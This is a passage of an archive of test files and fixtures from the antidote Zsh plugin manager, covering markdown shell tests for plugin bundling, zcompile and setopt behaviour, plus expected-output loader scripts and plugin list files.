#=> --exit 0 % antidote bundle $ZDOTDIR/custom/lib/lib1.zsh | subenv ZDOTDIR source "$ZDOTDIR/custom/lib/lib1.zsh" % ! test -e $ZDOTDIR/custom/lib/lib1.zsh.zwc #=> --exit 0 % antidote bundle $ZDOTDIR/custom/plugins/mytheme | subenv ZDOTDIR fpath+=( "$ZDOTDIR/custom/plugins/mytheme" ) source "$ZDOTDIR/custom/plugins/mytheme/mytheme.zsh-theme" % ! test -e $ZDOTDIR/custom/plugins/mytheme/mytheme.zsh-theme.zwc #=> --exit 0 % ``` Ensure a compiled file exists: ```zsh % zstyle ':antidote:bundle:*' zcompile 'yes' % ! test -e $ZDOTDIR/custom/lib/lib2.zsh.zwc #=> --exit 0 % antidote bundle $ZDOTDIR/custom/lib/lib2.zsh | subenv ZDOTDIR source "$ZDOTDIR/custom/lib/lib2.zsh" % test -e $ZDOTDIR/custom/lib/lib2.zsh.zwc #=> --exit 0 % # plugin % antidote bundle $ZDOTDIR/custom/plugins/myplugin | subenv ZDOTDIR fpath+=( "$ZDOTDIR/custom/plugins/myplugin" ) source "$ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh" % test -e $ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh.zwc #=> --exit 0 % # zsh-theme % antidote bundle $ZDOTDIR/custom/plugins/mytheme | subenv ZDOTDIR fpath+=( "$ZDOTDIR/custom/plugins/mytheme" ) source "$ZDOTDIR/custom/plugins/mytheme/mytheme.zsh-theme" % test -e $ZDOTDIR/custom/plugins/mytheme/mytheme.zsh-theme.zwc #=> --exit 0 % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_zcompile_static.md000066400000000000000000000026421516600341500230100ustar00rootroot00000000000000# antidote load tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ### General Ensure a compiled file exists: ```zsh % zstyle ':antidote:static' zcompile 'yes' % zstyle ':antidote:static' file $ZDOTDIR/.zplugins_fake_zcompile_static.zsh % ! test -e $ZDOTDIR/.zplugins_fake_zcompile_static.zsh.zwc #=> --exit 0 % antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null % cat $ZDOTDIR/.zplugins_fake_zcompile_static.zsh | subenv #=> --file testdata/.zplugins_fake_zcompile_static.zsh % test -e $ZDOTDIR/.zplugins_fake_zcompile_static.zsh.zwc #=> --exit 0 % t_reset % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` Bundling a bad repo should produce no output, not even the zcompile header: ```zsh % zstyle ':antidote:static' zcompile 'yes' % antidote bundle does-not/exist 2>/dev/null #=> --exit 1 % zstyle ':antidote:static' zcompile 'no' % ``` Ensure a compiled file does not exist: ```zsh % zstyle ':antidote:static' zcompile 'no' % zstyle ':antidote:static' file $ZDOTDIR/.zplugins_fake_load.zsh % ! test -e $ZDOTDIR/.zplugins_fake_load.zsh.zwc #=> --exit 0 % antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null % cat $ZDOTDIR/.zplugins_fake_load.zsh | subenv #=> --file testdata/.zplugins_fake_load.zsh % ! test -e $ZDOTDIR/.zplugins_fake_load.zsh.zwc #=> --exit 0 % t_reset % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_zsetopts.md000066400000000000000000000036671516600341500215220ustar00rootroot00000000000000# antidote respects setopts ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` Set up a plugin that changes Zsh options ```zsh % plugin_file=$ANTIDOTE_HOME/fakegitsite.com/lampoon/xmas/xmas.plugin.zsh % mkdir -p $plugin_file:h && touch $plugin_file % echo "unsetopt noaliases" >>$plugin_file % echo "setopt autocd" >>$plugin_file % echo "lampoon/xmas" >$ZDOTDIR/.zsh_plugins.txt % ``` ## Test that plugins that run setopts work Verify initial state ```zsh % setopt noaliases % set -o | grep noaliases noaliases on % set -o | grep autocd autocd off % ``` Load the plugins and see if the option took ```zsh % antidote load &>/dev/null #=> --exit 0 % set -o | grep noaliases noaliases off % set -o | grep autocd autocd on % # cleanup % setopt noaliases no_autocd % ``` Tests to ensure [#86](https://github.com/mattmc3/antidote/issues/86) stays fixed. Check that stderr is empty. ```zsh % setopt posix_identifiers % antidote -v 3>&1 2>&3 >/dev/null #=> --exit 0 % antidote -h 3>&1 2>&3 >/dev/null #=> --exit 0 % antidote help 3>&1 2>&3 >/dev/null #=> --exit 0 % # cleanup % unsetopt posix_identifiers % ``` ## Clark Grizwold lighting ceremony!

via GIPHY

```zsh % optcnt=$(setopt | wc -l | tr -d ' ') % echo $optcnt #=> --regex ^\d+$ % test $optcnt -lt 10 && echo "less than 10 enabled zsh opts" less than 10 enabled zsh opts % # now lets turn on all the lights % echo '$ZDOTDIR/custom/plugins/grizwold' >$ZDOTDIR/.zsh_plugins.txt % antidote load % optcnt=$(setopt | wc -l | tr -d ' ') % test $optcnt -gt 150 && echo "zillions of enabled zsh options (>150)" zillions of enabled zsh options (>150) % ``` ## Teardown ```zsh % unsetopt $grizwold_zopts % t_teardown % ``` mattmc3-antidote-4913257/tests/testdata/000077500000000000000000000000001516600341500200435ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/testdata/.zplugins_fake_load.zsh000066400000000000000000000033671516600341500245200ustar00rootroot00000000000000fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) export PATH="$HOME/.cache/antidote/fakegitsite.com/foo/bar:$PATH" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" fpath=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer" ) source "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) zsh-defer source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/custom/themes/pretty.zsh-theme" mattmc3-antidote-4913257/tests/testdata/.zplugins_fake_zcompile_static.zsh000066400000000000000000000037531516600341500267710ustar00rootroot00000000000000function { 0=${(%):-%x} local staticfile=${0:A} [[ -e ${staticfile} ]] || return 1 if [[ ! -s ${staticfile}.zwc || ${staticfile} -nt ${staticfile}.zwc ]]; then builtin autoload -Uz zrecompile zrecompile -pq ${staticfile} fi } fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) export PATH="$HOME/.cache/antidote/fakegitsite.com/foo/bar:$PATH" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" fpath=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer" ) source "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) zsh-defer source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/custom/themes/pretty.zsh-theme" mattmc3-antidote-4913257/tests/testdata/.zsh_plugins.snapshot.txt000066400000000000000000000006441516600341500250710ustar00rootroot00000000000000bar/baz kind:clone pin:1aa9550512f5606c5c23b11f5a9ad660d6c10fb4 foo/bar kind:clone pin:400b29a76d68fd7c40bc7c0460424ab089b1e68a foo/baz kind:clone pin:98cdde20c338bdb4df6efefd7f812d38ecc62b70 getantidote/zsh-defer kind:clone pin:57ddc6fc6fba9862b899c483b6746b43c07dfb0d git@fakegitsite.com:foo/qux kind:clone pin:89661d7f95e6d805d4da6e1dc9bbaba9b126322a ohmy/ohmy kind:clone pin:1cc5b7ebe76328350234e841e72729f40057e2b6 mattmc3-antidote-4913257/tests/testdata/.zsh_plugins.txt000066400000000000000000000014511516600341500232300ustar00rootroot00000000000000# local plugins ~/foo/bar $ZSH_CUSTOM path:plugins/myplugin # repo plugins foo/bar git@github.com:foo/qux.git # trailing comments # leading spaces don't matter foobar/barfoo annotation:a:b:c comment:"quz #fake comment" #real comment error/mcerror-face "def ghi" blah # xyz # kind:clone getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh foo/bar kind:zsh # kind:zsh with quotes foo/bar "kind:zsh" # kind:zsh with single quotes foo/bar kind:'zsh' # kind:fpath foo/bar kind:fpath # kind:path foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # all-the-things all/things path:plugins/things kind:defer branch:everything # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-4913257/tests/testdata/.zsh_plugins.zsh000066400000000000000000000031121516600341500232110ustar00rootroot00000000000000fpath+=( "$HOME/foo/bar" ) source "$HOME/foo/bar/bar.plugin.zsh" fpath+=( "$ZSH_CUSTOM/plugins/myplugin" ) source "$ZSH_CUSTOM/plugins/myplugin/myplugin.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) export PATH="$HOME/.cache/antidote/fakegitsite.com/foo/bar:$PATH" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer" ) source "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) zsh-defer source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/custom/themes/pretty.zsh-theme" mattmc3-antidote-4913257/tests/testdata/.zsh_plugins_empty.txt000066400000000000000000000000321516600341500244400ustar00rootroot00000000000000# comments # nothing here mattmc3-antidote-4913257/tests/testdata/.zsh_plugins_multi_defer.zsh000066400000000000000000000054501516600341500255770ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-history-substring-search" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-history-substring-search/zsh-history-substring-search.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-getantidote-SLASH-zsh-defer" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-getantidote-SLASH-zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-syntax-highlighting" ) zsh-defer source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-syntax-highlighting/zsh-syntax-highlighting.plugin.zsh" if is-macos; then fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-ohmy-SLASH-ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-ohmy-SLASH-ohmy/plugins/macos/macos.plugin.zsh" fi if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-getantidote-SLASH-zsh-defer" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-getantidote-SLASH-zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-autosuggestions" ) zsh-defer source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-getantidote-SLASH-zsh-defer" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-getantidote-SLASH-zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zdharma-continuum-SLASH-fast-syntax-highlighting" ) zsh-defer source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zdharma-continuum-SLASH-fast-syntax-highlighting/fast-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-dracula-SLASH-zsh" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-dracula-SLASH-zsh/dracula.zsh-theme" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-peterhurford-SLASH-up.zsh" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-peterhurford-SLASH-up.zsh/up.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rummik-SLASH-zsh-tailf" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rummik-SLASH-zsh-tailf/tailf.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rupa-SLASH-z" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rupa-SLASH-z/z.sh" mattmc3-antidote-4913257/tests/testdata/.zsh_plugins_no_defer.zsh000066400000000000000000000037701516600341500250640ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-history-substring-search" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-history-substring-search/zsh-history-substring-search.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-syntax-highlighting" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-syntax-highlighting/zsh-syntax-highlighting.plugin.zsh" if is-macos; then fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-ohmy-SLASH-ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-ohmy-SLASH-ohmy/plugins/macos/macos.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-autosuggestions" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zsh-users-SLASH-zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zdharma-continuum-SLASH-fast-syntax-highlighting" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-zdharma-continuum-SLASH-fast-syntax-highlighting/fast-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-dracula-SLASH-zsh" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-dracula-SLASH-zsh/dracula.zsh-theme" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-peterhurford-SLASH-up.zsh" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-peterhurford-SLASH-up.zsh/up.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rummik-SLASH-zsh-tailf" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rummik-SLASH-zsh-tailf/tailf.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rupa-SLASH-z" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-rupa-SLASH-z/z.sh" mattmc3-antidote-4913257/tests/testdata/.zsh_plugins_purged.txt000066400000000000000000000007551516600341500246040ustar00rootroot00000000000000# local plugins ~/foo/bar $ZSH_CUSTOM path:plugins/myplugin # repo plugins # foo/bar git@fakegitsite.com:foo/qux.git # trailing comments # kind:clone getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh # foo/bar kind:zsh # kind:fpath # foo/bar kind:fpath # kind:path # foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-4913257/tests/testdata/.zsh_plugins_repos.txt000066400000000000000000000007201516600341500244360ustar00rootroot00000000000000# comments user/repo # blank lines # regular repos https://github.com/user/repo http://github.com/user/repo.git https://github.com/user/repo git@github.com:user/repo # annotations bar/baz path:plugins/qux bar/baz path:themes/qux.zsh-theme # branch foobar/foobar branch:baz # defer https://github.com/foo/qux kind:defer https://github.com/foo/baz kind:defer # non repos foo ~/.zplugins/bar $ZDOTDIR/plugins/bar # dupes user/repo https://github.com/user/repo mattmc3-antidote-4913257/tests/testdata/.zsh_plugins_using.txt000066400000000000000000000012251516600341500244340ustar00rootroot00000000000000# Standalone repo before any using: context bar/baz kind:fpath # Use ohmy/ohmy with a plugins path prefix using:ohmy/ohmy path:plugins docker extract git # A regular repo between use blocks does not reset the context foo/baz kind:clone # Words after a non-word still expand using the active context magic-enter macos # Second using: replaces the first — themes with kind:path using:ohmy/ohmy path:themes kind:path pretty.zsh-theme # Use with branch: — all entries (clone + words) inherit it using:foo/bar branch:dev bar.plugin.zsh # Path-based using: — no clone, words expand to full local paths using:$ZDOTDIR/custom path:plugins myplugin grizwold mattmc3-antidote-4913257/tests/testdata/.zsh_plugins_using.zsh000066400000000000000000000022361516600341500244240ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/bar/baz" ) fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/git" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/git/git.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/macos.plugin.zsh" export PATH="$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/themes/pretty.zsh-theme:$PATH" source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$ZDOTDIR/custom/plugins/myplugin" ) source "$ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh" fpath+=( "$ZDOTDIR/custom/plugins/grizwold" ) source "$ZDOTDIR/custom/plugins/grizwold/grizwold.plugin.zsh" mattmc3-antidote-4913257/tests/testdata/antibody/000077500000000000000000000000001516600341500216545ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/testdata/antibody/script-foobar.zsh000066400000000000000000000002771516600341500251620ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar/bar.plugin.zsh" mattmc3-antidote-4913257/tests/testdata/antibody/script-fooqux.zsh000066400000000000000000000002311516600341500252210ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux" ) source "$ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux/qux.plugin.zsh" mattmc3-antidote-4913257/tests/testdata/real/000077500000000000000000000000001516600341500207665ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/testdata/real/.zsh_plugins.biglist.txt000066400000000000000000000056731516600341500256210ustar00rootroot00000000000000# https://raw.githubusercontent.com/getantibody/antibody/refs/heads/master/scripts/profiling/bundles.txt # Just to have it, this is the massive list of clonable things from antibody dalefukami/accurev-zsh djui/alias-tips stanislas/allergen Valiev/almostontop fcambus/ansiweather # smallhadroncollider/antigen-git-rebase # smallhadroncollider/antigen-git-store mollifier/anyframe hchbaw/auto-fu.zsh horosgrisa/autoenv unixorn/autoupdate-antigen.zshplugin StackExchange/blackbox adolfoabegg/browse-commit arzzen/calc.plugin.zsh walesmd/caniuse.plugin.zsh mollifier/cd-gitroot MikeDacre/cdbk willghatch/zsh-cdr rutchkiwi/copyzshell Stibbons/crayon-syntax-zsh jsks/czhttpd Vifon/deer jgrowl/depot_tools gusaiani/elixir-oh-my-zsh b4b4r07/enhancd junegunn/fzf voronkovich/get-jquery.plugin.zsh fontno/ghost_zeus peterhurford/git-aliases.zsh unixorn/git-extra-commands peterhurford/git-it-on.zsh tevren/gitfast-zsh-plugin voronkovich/gitignore.plugin.zsh bbenne10/goenv or17191/going_places joepvd/grep2awk robertzk/hipchat.zsh willghatch/zsh-hooks # mgryszko/jvm supercrabtree/k d12frosted/kitsunebook.plugin.zsh lesaint/lesaint-mvn Temikus/mac-packaging hlohm/mfunc horosgrisa/mysql-colorize voronkovich/mysql.plugin.zsh bric3/nice-exit-code srijanshetty/node.plugin.zsh keithhamilton/oh-my-dogesh gepoch/oh-my-zsh-dirstack sandstorm/oh-my-zsh-flow3-plugin gerges/oh-my-zsh-jira-plus AlexisBRENON/oh-my-zsh-reminder tonyseek/oh-my-zsh-virtualenv-prompt hchbaw/opp.zsh marshallmick007/osx-dev-zsh-plugin deyvisonrocha/pantheon-terminal-notify-zsh-plugin benclark/parallels-zsh-plugin sharat87/pip-app sindresorhus/pretty-time-zsh shengyou/robo-zsh-plugin johnhamelink/rvm-zsh oz/safe-paste willghatch/zsh-saneopt robertzk/send.zsh voronkovich/sf2.plugin.zsh secrettriangle/smart-cd willghatch/zsh-snippets skx/sysadmin-util yonchu/vimman wbinglee/zsh-wakatime mfaerevaag/wd edouard-lopez/yeoman-zsh-plugin zsh-users/zaw hchbaw/zce.zsh arlimus/zero.zsh kmhjs/zinfo_line chrissicool/zsh-256color # caarlos0/zsh-add-upstream mafredri/zsh-async Tarrasch/zsh-autoenv tarruda/zsh-autosuggestions # dirkk/zsh-basex chrissicool/zsh-bash Tarrasch/zsh-bd Tarrasch/zsh-colors joel-porquet/zsh-dircolors-solarized tymm/zsh-directory-history oknowton/zsh-dwim Tarrasch/zsh-functional s7anley/zsh-geeknote # caarlos0/jvm kind:path # caarlos0/zsh-git-sync clauswitt/zsh-grunt-plugin yerinle/zsh-gvm joepvd/zsh-hints # empty line: zsh-users/zsh-history-substring-search knu/zsh-manydots-magic psprint/zsh-navigation-tools marzocchi/zsh-notify mkwmms/zsh-osx # caarlos0/zsh-pg RudthMael/zsh-plugin-ibtool paraqles/zsh-plugin-rails RobSis/zsh-reentry-hook srijanshetty/zsh-suffix-alias zsh-users/zsh-syntax-highlighting chrissicool/zsh-t32 TBSliver/zsh-plugin-tmux-simple ascii-soup/zsh-url-highlighter sharat87/zsh-vim-mode jocelynmallon/zshmarks # comments should be ignored # URLs: # git@github.com:caarlos0/jvm.git branch:gh-pages # https://github.com/caarlos0/zsh-open-pr # caarlos0/zsh-git-fetch-merge ohmyzsh/ohmyzsh mattmc3-antidote-4913257/tests/testdata/real/.zsh_plugins.crlf.txt000066400000000000000000000002321516600341500250740ustar00rootroot00000000000000# CRLF file rupa/z zsh-users/zsh-syntax-highlighting zsh-users/zsh-completions zsh-users/zsh-autosuggestions zsh-users/zsh-history-substring-search mattmc3-antidote-4913257/tests/testdata/real/.zsh_plugins.snapshot.2024.txt000066400000000000000000000023121516600341500263740ustar00rootroot00000000000000# antidote snapshot # version: 2.0.9 # date: 2024-01-01T00:00:00Z dracula/zsh kind:clone pin:75ea3f5e1055291caf56b4aea6a5d58d00541c41 mattmc3/antidote kind:clone pin:de71516a7bdca8fbf17eda1d08129772ff6e8622 mattmc3/zman kind:clone pin:40483a43f262698476d3d3c740c3c865e15ac01e ohmyzsh/ohmyzsh kind:clone pin:fa770f9678477febe0ed99566d9f3331f3714eca peterhurford/up.zsh kind:clone pin:c8cc0d0edd6be2d01f467267e3ed385c386a0acb romkatv/zsh-bench kind:clone pin:3b4896c4840c64bea8e79b8392a93dfdc5a0a096 romkatv/zsh-defer kind:clone pin:1c75faff4d8584afe090b06db11991c8c8d62055 rummik/zsh-tailf kind:clone pin:92b04527b784a70a952efde20e6a7269278fb17d rupa/z kind:clone pin:d37a763a6a30e1b32766fecc3b8ffd6127f8a0fd sindresorhus/pure kind:clone pin:4e0ce0a2f8576894e5dad83857e9a9851faa0f5b zdharma-continuum/fast-syntax-highlighting kind:clone pin:cf318e06a9b7c9f2219d78f41b46fa6e06011fd9 zsh-users/antigen kind:clone pin:64de2dcd95d6a8e879cd2244c763d99f0144e78e zsh-users/zsh-autosuggestions kind:clone pin:11d17e7fea9fba8067f992b3d95e884c20a4069c zsh-users/zsh-history-substring-search kind:clone 